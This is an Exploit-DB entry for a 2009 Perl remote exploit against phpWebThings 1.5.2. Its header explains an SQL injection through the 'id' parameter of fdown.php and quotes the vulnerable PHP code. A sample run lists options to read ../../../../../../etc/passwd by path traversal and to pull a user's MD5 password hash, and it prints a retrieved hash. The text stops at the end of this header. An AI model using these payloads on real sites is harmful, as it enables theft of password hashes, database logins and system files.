Exploit-DB #8939
Description: phpWebThings 1.5.2 - MD5 Hash Retrieve/File Disclosure
Type: webapps
Platform: php
Date: 2009-06-12
Author: StAkeR

Exploit:
#!/usr/bin/perl
                                                                                     
################################################################################################### 
# phpWebThings <= 1.5.2 MD5 Hash Retrieve / File Disclosure Remote Exploit                        # 
#                                                                                                 # 
# by staker                                                                                       # 
# ------------------------------                                                                  # 
# mail: staker[at]hotmail[dot]it                                                                  # 
# url: http://phpwebthings.nl                                                                     # 
# ------------------------------                                                                  #
#                                                                                                 #                        
# NOTE:                                                                                           #
# 1. it works regardless of php.ini settings                                                      #
# 2. wt_config.php contains mysql login                                                           #
#                                                                                                 #
# short explanation:                                                                              #
# ----------------------------------------------------                                            #
# phpWebThings contains a flaw that allows an attacker                                            #
# to carry out an SQL injection attack. The issue is                                              #
# due to the fdown.php script not properly sanitizing                                             #
# user-supplied input to the 'id' variable. This may                                              #
# allow an attacker to inject or manipulate                                                       #
# SQL queries in the backend database (php.ini indep)                                             #
# ----------------------------------------------------                                            #
#                                                                                                 #
# [file: fdown.php]                                                                               #
# ------------------------------------                                                            #
#                                                                                                 #
# <?php                                                                                           #
# include_once("core/main.php");                                                                  #
#                                                                                                 #
# $ret = db_query("select file from {$config["prefix"]}_forum_msgs where cod={$_REQUEST["id"]}"); #
# $row = db_fetch_array($ret);                                                                    #
# header('HTTP/1.1 200 OK');                                                                      #
# header('Date: ' . date("D M j G:i:s T Y"));                                                     #
# header('Last-Modified: ' . date("D M j G:i:s T Y"));                                            #
# header("Content-Type: application/force-download");                                             #
# header("Content-Lenght: " . (string)(filesize("var/forumfiles/{$row["file"]}")));               #
# header("Content-Transfer-Encoding: Binary");                                                    #
# header("Content-Disposition: attachment; filename={$row["file"]}");                             #
# readfile("var/forumfiles/{$row["file"]}");                                                      #
#                                                                                                 #
# ?>                                                                                              #
#                                                                                                 #
# -------------------------------------                                                           #
#                                                                                                 #
# yeat@snippet:~/Desktop$ perl a.pl localhost/cms -c 1                                            #
# [*--------------------------------------------------------------------*]                        #
# [* phpWebThings <= 1.5.2 MD5 Hash Retrieve / File Disclosure Exploit  *]                        #
# [*--------------------------------------------------------------------*]                        #
# [* Usage: perl web.pl [target + path] [OPTIONS]                       *]                        #
# [*                                                                    *]                        #
# [* Options:                                                           *]                        #
# [* [files] -d ../../../../../../etc/passwd                            *]                        #
# [* [hash.] -c user_id                                                 *]                        #
# [* [table] -t set a table prefix (default: wt)                        *]                        #
# [*--------------------------------------------------------------------*]                        #
# [* MD5 Hash: f2c79ad3d1f03ba266dc0a85e1266671                                                   #
#                                                                                                 #
# ----------------------------------------------------------                                      #
# Today